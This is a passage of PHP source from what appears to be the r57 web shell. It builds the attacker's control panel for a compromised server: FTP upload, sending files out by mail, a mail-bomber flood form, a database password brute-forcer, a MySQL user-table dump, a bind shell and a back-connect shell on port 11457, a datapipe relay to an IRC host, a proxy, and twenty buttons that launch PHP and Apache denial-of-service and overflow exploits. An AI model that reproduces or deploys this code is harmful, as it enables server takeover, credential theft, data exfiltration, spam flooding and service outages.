 echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
 echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
 echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
 echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
 echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
 echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
 echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
 echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
 echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
 echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
 echo $te."</td>".$fe."</tr></div></table>";
 } if(@function_exists("mail")){ echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
 echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
 echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
 echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
 echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
 echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
 echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
 echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):(""))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
 echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):(""))));
 echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):(""))));
 echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
 echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
 echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
 echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
 echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
 echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
 echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
 echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
 echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
 echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
 echo $te."</td>".$fe."</tr></div></table>";
 } if($mysql_on||$mssql_on||$pg_on||$ora_on) { $select = '<select name=db>';
 if($mysql_on) $select .= '<option>MySQL</option>';
 if($mssql_on) $select .= '<option>MSSQL</option>';
 if($pg_on) $select .= '<option>PostgreSQL</option>';
 if($ora_on) $select .= '<option>Oracle</option>';
 $select .= '</select>';
 echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
 echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
 echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
 echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
 echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
 echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
 echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
 echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
 echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
 echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
 echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
 echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
 echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
 echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
 echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
 echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
 echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
 echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
 echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
 echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
 echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
 echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
 echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
 echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
\nSHOW TABLES;
\nSELECT * FROM user;
\nSELECT version();
\nSELECT user();
"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
 echo "</td>".$fe."</tr></div></table>";
 } if(!$safe_mode &&$unix){ echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
 echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
 echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
 echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
 echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
 echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
 echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ?(getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
 echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
 echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
 echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
 echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
 echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
 echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
 echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
 echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
 echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
 echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
 echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
 echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
 echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
 echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
 echo $te."</td>".$fe."</tr></div></table>";
 } echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts;
 echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe);
 echo $te."</td><td valign=top width=50%>".$ts;
 echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe);
 echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe);
 echo $te."</td></tr></div></table>";
 ?>